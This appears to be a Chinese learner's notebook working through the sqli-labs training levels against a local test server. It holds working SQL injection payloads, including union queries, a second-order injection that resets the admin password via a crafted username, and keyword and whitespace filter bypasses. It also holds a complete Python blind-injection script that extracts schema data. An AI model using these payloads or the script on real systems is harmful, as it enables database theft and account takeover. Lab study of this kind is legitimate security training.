语句可能是类似id=’$id’ limit 0,1?(好像真的是
但是不能1' order by 4 and '1'='1
(还是上图那个返回
在MySQL的执行顺序中,where
在order by
前,第二个查询的时候可能忽略了order by?
( and
是操作符,用于where子句。
SELECT * FROM table_name WHERE id='0' union select 2,3,4 or '1'='1' LIMIT 0,1
or
会作为联合查询第二个语句的条件,而不是第一个语句where
的条件。(and也行
?id=0' union select 1 or '1'='1
到4的时候正常,一共三列
可以注册、登入、改密码
输入都有被转义(不是删除
只有改密码的时候,username是直接从session得到的
。。。不会了,去搜吧
若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码。
需要二次注入
二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。
二次注入的一般过程
1.确定注入逻辑
注入点在修改密码处:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
变为
UPDATE users SET PASSWORD='$pass' WHERE username='$username'# and password='$curr_pass'
确实没被过滤
然后就可以用admin’#在未知admin原密码的情况下修改admin的密码了
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
然后就结束了。。。
less25a我没有
’
(一些其他的空格替代
%09
TAB 键(水平)%0a
新建一行%0b
TAB 键(垂直)%0c
新的一页%0d
return 功能%a0
空格',错误无回显
改了之前第八题的脚本(附加url和搜索语句
import sys
import requests
def getPayload(char_index, ascii):
# 附加url
start_str = "1'anandd"
end_str = "oorr'1'='"
#select_str = "select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata"
select_str = "select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()"
#select_str = "select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='emails'"
#内容
database_name = "security"
table_name = "users"
column_name = ["id","username","passwoorrd"]
#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
#select_str = "select(group_concat(concat_ws('@',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqli-labs-php7-master/Less-26a/?id="
exec_url = url + getPayload(char_index, ascii)
#print(exec_url)
# 检查回显
echo = "Your Login name"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for len in range(1024): # 查询结果的长度
char = dichotomy(len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
过滤union、select
闭合是"。
?id=0%22uunionnion%a0selselselectectect%a02,3,4%a0and%221%22=%221
改下26a的脚本就行。。。and、or双写去了,select改三写,payload = (start_str + sqli_str + end_str).replace("'",'"')
'闭合,没有错误回显,依旧过滤了空格
试了好久才发现是有小括号的。。。
判断小括号方法:
2'and'1'='1
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。1')||'1'=('1
但是我这里怎么没过滤union和select。。?
?id=0')union%a0select%a02,database(),4%a0and('1'='1
(搜了下,有过滤的好像双写就行了
还是’)闭合
。。。怎么都和上一题一样。。。我怀疑我题目有问题。。。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e1LhCXPB-1590683023681)(sqli-labs 21 - 30关.assets/1590675978511.png)]
–+可以注释,#不行
???出大问题,之后的题是要配置的
https://www.cnblogs.com/heiwa-0924/p/12369438.html
没成功,还把mysql搞崩了,还重新下了